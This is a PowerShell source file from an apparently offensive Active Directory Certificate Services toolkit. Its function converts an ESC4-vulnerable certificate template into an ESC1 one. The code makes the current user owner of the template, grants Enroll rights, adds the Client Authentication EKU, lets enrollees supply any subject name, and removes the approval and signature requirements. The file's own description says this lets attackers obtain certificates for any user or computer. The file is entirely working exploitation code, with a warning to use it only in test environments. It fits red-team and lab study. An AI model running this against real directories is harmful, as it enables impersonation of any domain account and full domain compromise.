Private/ConvertTo-ESC1.ps1

function ConvertTo-ESC1 {
    <#
        .SYNOPSIS
        Converts an ESC4 vulnerability to an ESC1 vulnerability by modifying certificate template attributes.
 
        .DESCRIPTION
        This function takes an ESC4 ESCalatorIssue object and attempts to convert it to an ESC1 vulnerability
        by making the following changes to the associated certificate template:
        1. Add the "Client Authentication" EKU (1.3.6.1.5.5.7.3.2) to pKIExtendedKeyUsage
        2. Enable the SAN flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x1) in msPKI-Certificate-Name-Flag
        3. Remove the Pend flag (CT_FLAG_PEND_ALL_REQUESTS = 0x2) from msPKI-Enrollment-Flag
        4. Set the msPKI-RA-Signature value to 0 (disable required signatures)
        5. Grant the current user Enroll rights on the template
 
        These changes make the template vulnerable to ESC1 attacks where attackers can specify
        arbitrary Subject Alternative Names and obtain certificates for any user/computer.
         
        Additionally, the function grants the current user Enroll rights on the template to
        ensure the attack can be executed successfully.
 
        .PARAMETER InputObject
        Either an ESCalatorIssue object representing an ESC4 vulnerability, or a DirectoryEntry object
        representing a certificate template (pKICertificateTemplate). When using ESCalatorIssue objects,
        they must have a DirectoryEntry property pointing to a certificate template object.
 
        .PARAMETER PassThru
        Returns the modified DirectoryEntry object representing the certificate template instead of
        the default result object. Useful for chaining operations in a pipeline.
 
        .PARAMETER WhatIf
        Shows what changes would be made without actually performing them.
 
        .INPUTS
        ESCalatorIssue, System.DirectoryServices.DirectoryEntry
        ESC4 ESCalatorIssue objects with certificate template DirectoryEntry objects, or DirectoryEntry objects representing certificate templates.
 
        .OUTPUTS
        PSCustomObject, System.DirectoryServices.DirectoryEntry
        By default, returns a result object indicating success/failure and what changes were made.
        When -PassThru is specified, returns the modified DirectoryEntry object representing the certificate template.
 
        .EXAMPLE
        $ESC4Issues = Find-ESC4Issue -AdcsObjects $AdcsObjects
        $ESC4Issues | Where-Object { $_.Subtype -like '*Template*' } | ConvertTo-ESC1
 
        .EXAMPLE
        $ESC4Issue = Find-ESC4Issue -AdcsObjects $AdcsObjects | Select-Object -First 1
        ConvertTo-ESC1 -InputObject $ESC4Issue -WhatIf
 
        .EXAMPLE
        $Templates = Get-AdcsObjects | Where-Object { $_.ObjectClass -eq 'pKICertificateTemplate' }
        $DemoTemplate = $Templates | Where-Object { $_.Properties['name'].Value -eq 'Demo1' }
        ConvertTo-ESC1 -InputObject $DemoTemplate
 
        .EXAMPLE
        # Use PassThru to get the modified template object for further processing
        $ESC4Issue = Find-ESC4Issue -AdcsObjects $AdcsObjects | Select-Object -First 1
        $ModifiedTemplate = $ESC4Issue | ConvertTo-ESC1 -PassThru
        # Now you can use $ModifiedTemplate for additional operations
 
        .LINK
        https://posts.specterops.io/certified-pre-owned-d95910965cd2
 
        .NOTES
        WARNING: This function makes destructive changes to certificate templates that create
        serious security vulnerabilities. Only use in controlled test environments.
         
        Requires appropriate permissions to modify certificate template objects in Active Directory.
    #>

    [CmdletBinding(SupportsShouldProcess)]
    param (
        [Parameter(Mandatory, ValueFromPipeline)]
        [ValidateNotNull()]
        $InputObject,
        
        [Parameter()]
        [switch]$PassThru
    )


    begin {
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand) on $env:COMPUTERNAME..."
        
        # Define constants for certificate template flags
        $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x1
        $CT_FLAG_PEND_ALL_REQUESTS = 0x2
        
        # Client Authentication EKU OID
        $CLIENT_AUTH_EKU = "1.3.6.1.5.5.7.3.2"
    }

    process {
        # Determine input type and extract template DirectoryEntry
        $template = $null
        $templateName = ""
        
        if ($InputObject.PSObject.TypeNames[0] -eq 'ESCalatorIssue') {
            # Handle ESCalatorIssue input
            Write-Verbose "Processing ESCalatorIssue for template: $($InputObject.Name)"
            
            # Validate that this is an ESC4 issue
            if ($InputObject.Technique -ne 'ESC4') {
                Write-Warning "Issue is not an ESC4 vulnerability (Technique: $($InputObject.Technique))"
                return [PSCustomObject]@{
                    Success = $false
                    Template = $InputObject.Name
                    Error = "Not an ESC4 issue"
                    Changes = @()
                }
            }
            
            # Validate that we have a DirectoryEntry for the template
            if (-not $InputObject.DirectoryEntry -or $InputObject.DirectoryEntry.SchemaClassName -ne 'pKICertificateTemplate') {
                Write-Warning "ESCalatorIssue does not contain a valid certificate template DirectoryEntry"
                return [PSCustomObject]@{
                    Success = $false
                    Template = $InputObject.Name
                    Error = "No valid certificate template DirectoryEntry found"
                    Changes = @()
                }
            }
            
            $template = $InputObject.DirectoryEntry
            $templateName = $InputObject.Name
            
        } elseif ($InputObject -is [System.DirectoryServices.DirectoryEntry]) {
            # Handle DirectoryEntry input
            Write-Verbose "Processing DirectoryEntry object for template conversion"
            
            # Validate that this is a certificate template
            if ($InputObject.SchemaClassName -ne 'pKICertificateTemplate') {
                Write-Warning "DirectoryEntry is not a certificate template (SchemaClassName: $($InputObject.SchemaClassName))"
                return [PSCustomObject]@{
                    Success = $false
                    Template = $InputObject.Properties['name'].Value
                    Error = "Not a certificate template DirectoryEntry"
                    Changes = @()
                }
            }
            
            $template = $InputObject
            $templateName = $template.Properties['name'].Value
            Write-Verbose "Processing certificate template: $templateName"
            
        } else {
            # Invalid input type
            Write-Warning "InputObject must be either an ESCalatorIssue or a DirectoryEntry object"
            return [PSCustomObject]@{
                Success = $false
                Template = "Unknown"
                Error = "Invalid input object type: $($InputObject.GetType().Name)"
                Changes = @()
            }
        }
        
        $changes = @()
        
        try {
            # Refresh the DirectoryEntry to get current values
            $template.RefreshCache()
            
            Write-Verbose "Current template attributes:"
            Write-Verbose " pKIExtendedKeyUsage: $($template.Properties['pKIExtendedKeyUsage'].Value -join ', ')"
            Write-Verbose " msPKI-Certificate-Name-Flag: $($template.Properties['msPKI-Certificate-Name-Flag'].Value)"
            Write-Verbose " msPKI-Enrollment-Flag: $($template.Properties['msPKI-Enrollment-Flag'].Value)"
            Write-Verbose " msPKI-RA-Signature: $($template.Properties['msPKI-RA-Signature'].Value)"
            
            # FIRST PRIORITY: Make current user owner of template, then grant Enroll rights - if either fails, end the function
            try {
                $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
                $currentUserSid = $currentUser.User.Value
                $currentUserSidObject = $currentUser.User
                $templateSecurity = $template.ObjectSecurity
                
                # Check current owner and change if necessary
                $currentOwner = $templateSecurity.Owner
                Write-Verbose "Current template owner: $currentOwner"
                
                if ($currentOwner -ne $currentUserSid) {
                    if ($PSCmdlet.ShouldProcess($template.Name, "Change template owner to current user ($($currentUser.Name))")) {
                        $originalOwner = $currentOwner
                        
                        # Set owner through ObjectSecurity property
                        $templateSecurity.SetOwner($currentUserSidObject)
                        $template.ObjectSecurity = $templateSecurity
                        $template.CommitChanges()
                        
                        $changes += "Changed template owner from $originalOwner to current user ($($currentUser.Name))"
                        Write-Verbose "Successfully changed template owner to current user"
                        
                        # Refresh security object after ownership change
                        $template.RefreshCache()
                        $templateSecurity = $template.ObjectSecurity
                    }
                } else {
                    Write-Verbose "Current user is already the owner of the template"
                }
                
                # Check if user already has Enroll rights
                $enrollGuid = [System.Guid]::new('0e10c968-78fb-11d2-90d4-00c04f79dc55')
                $hasEnrollRights = $templateSecurity.Access | Where-Object {
                    $_.IdentityReference.Value -eq $currentUserSid -and 
                    $_.ObjectType -eq $enrollGuid -and 
                    $_.AccessControlType -eq 'Allow'
                }
                
                if (-not $hasEnrollRights) {
                    if ($PSCmdlet.ShouldProcess($template.Name, "Grant current user ($currentUserSid) Enroll rights")) {
                        $enrollRule = [System.DirectoryServices.ActiveDirectoryAccessRule]::new(
                            $currentUser.User,
                            [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
                            [System.Security.AccessControl.AccessControlType]::Allow,
                            $enrollGuid
                        )
                        
                        $templateSecurity.AddAccessRule($enrollRule)
                        $template.ObjectSecurity = $templateSecurity
                        $template.CommitChanges()
                        
                        $changes += "Granted current user ($($currentUser.Name)) Enroll rights on template"
                        Write-Verbose "Successfully granted current user Enroll rights on template"
                    }
                } else {
                    Write-Verbose "Current user already has Enroll rights on template"
                }
                
            } catch {
                $errorMsg = "CRITICAL: Failed to grant Enroll rights to current user: $($_.Exception.Message)"
                Write-Error $errorMsg
                
                return [PSCustomObject]@{
                    Success = $false
                    Template = $templateName
                    Error = $errorMsg
                    Changes = $changes
                }
            }
            
            # 1. Add Client Authentication EKU to pKIExtendedKeyUsage
            $currentEKUs = @($template.Properties['pKIExtendedKeyUsage'].Value)
            if ($CLIENT_AUTH_EKU -notin $currentEKUs) {
                if ($PSCmdlet.ShouldProcess($template.Name, "Add Client Authentication EKU to pKIExtendedKeyUsage")) {
                    $newEKUs = $currentEKUs + $CLIENT_AUTH_EKU
                    $template.Properties['pKIExtendedKeyUsage'].Clear()
                    foreach ($eku in $newEKUs) {
                        $template.Properties['pKIExtendedKeyUsage'].Add($eku)
                    }
                    $changes += "Added Client Authentication EKU ($CLIENT_AUTH_EKU)"
                    
                    Write-Verbose "Added Client Authentication EKU to template"
                }
            } else {
                Write-Verbose "Client Authentication EKU already present"
            }
            
            # 2. Enable SAN flag in msPKI-Certificate-Name-Flag
            $currentNameFlag = [int]$template.Properties['msPKI-Certificate-Name-Flag'].Value
            $newNameFlag = $currentNameFlag -bor $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
            
            if ($newNameFlag -ne $currentNameFlag) {
                if ($PSCmdlet.ShouldProcess($template.Name, "Enable SAN flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) in msPKI-Certificate-Name-Flag")) {
                    $template.Properties['msPKI-Certificate-Name-Flag'].Value = $newNameFlag
                    $changes += "Enabled SAN flag in msPKI-Certificate-Name-Flag (0x$($currentNameFlag.ToString('X')) -> 0x$($newNameFlag.ToString('X')))"
                    
                    Write-Verbose "Enabled SAN flag in msPKI-Certificate-Name-Flag"
                }
            } else {
                Write-Verbose "SAN flag already enabled in msPKI-Certificate-Name-Flag"
            }
            
            # 3. Remove Pend flag from msPKI-Enrollment-Flag
            $currentEnrollFlag = [int]$template.Properties['msPKI-Enrollment-Flag'].Value
            $newEnrollFlag = $currentEnrollFlag -band (-bnot $CT_FLAG_PEND_ALL_REQUESTS)
            
            if ($newEnrollFlag -ne $currentEnrollFlag) {
                if ($PSCmdlet.ShouldProcess($template.Name, "Remove Pend flag (CT_FLAG_PEND_ALL_REQUESTS) from msPKI-Enrollment-Flag")) {
                    $template.Properties['msPKI-Enrollment-Flag'].Value = $newEnrollFlag
                    $changes += "Removed Pend flag from msPKI-Enrollment-Flag (0x$($currentEnrollFlag.ToString('X')) -> 0x$($newEnrollFlag.ToString('X')))"
                    
                    Write-Verbose "Removed Pend flag from msPKI-Enrollment-Flag"
                }
            } else {
                Write-Verbose "Pend flag not set in msPKI-Enrollment-Flag"
            }
            
            # 4. Set msPKI-RA-Signature to 0
            $currentRASignature = [int]$template.Properties['msPKI-RA-Signature'].Value
            if ($currentRASignature -ne 0) {
                if ($PSCmdlet.ShouldProcess($template.Name, "Set msPKI-RA-Signature to 0 (disable required signatures)")) {
                    $template.Properties['msPKI-RA-Signature'].Value = 0
                    $changes += "Set msPKI-RA-Signature to 0 (was $currentRASignature)"
                    
                    Write-Verbose "Set msPKI-RA-Signature to 0"
                }
            } else {
                Write-Verbose "msPKI-RA-Signature already set to 0"
            }
            
            # Commit remaining changes to Active Directory
            if ($changes.Count -gt 1 -and -not $WhatIfPreference) {  # > 1 because Enroll rights were already committed
                Write-Verbose "Committing remaining changes to Active Directory..."
                $template.CommitChanges()
                Write-Verbose "Successfully committed remaining changes to template: $($template.Name)"
            }
            
            # Return result
            if ($PassThru) {
                # Refresh the DirectoryEntry to get updated properties
                $template.RefreshCache()
                return $template
            } else {
                return [PSCustomObject]@{
                    Success = $true
                    Template = $templateName
                    DistinguishedName = $template.Properties['distinguishedName'].Value
                    Changes = $changes
                    Error = $null
                }
            }
            
        } catch {
            $errorMsg = "Failed to modify template $($template.Name): $($_.Exception.Message)"
            Write-Warning $errorMsg
            
            # Note: For error cases, we always return the error object regardless of PassThru
            # since we cannot return a valid DirectoryEntry when the operation fails
            return [PSCustomObject]@{
                Success = $false
                Template = $templateName
                Error = $errorMsg
                Changes = $changes
            }
        }
    }

    end {
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand) on $env:COMPUTERNAME..."
    }
}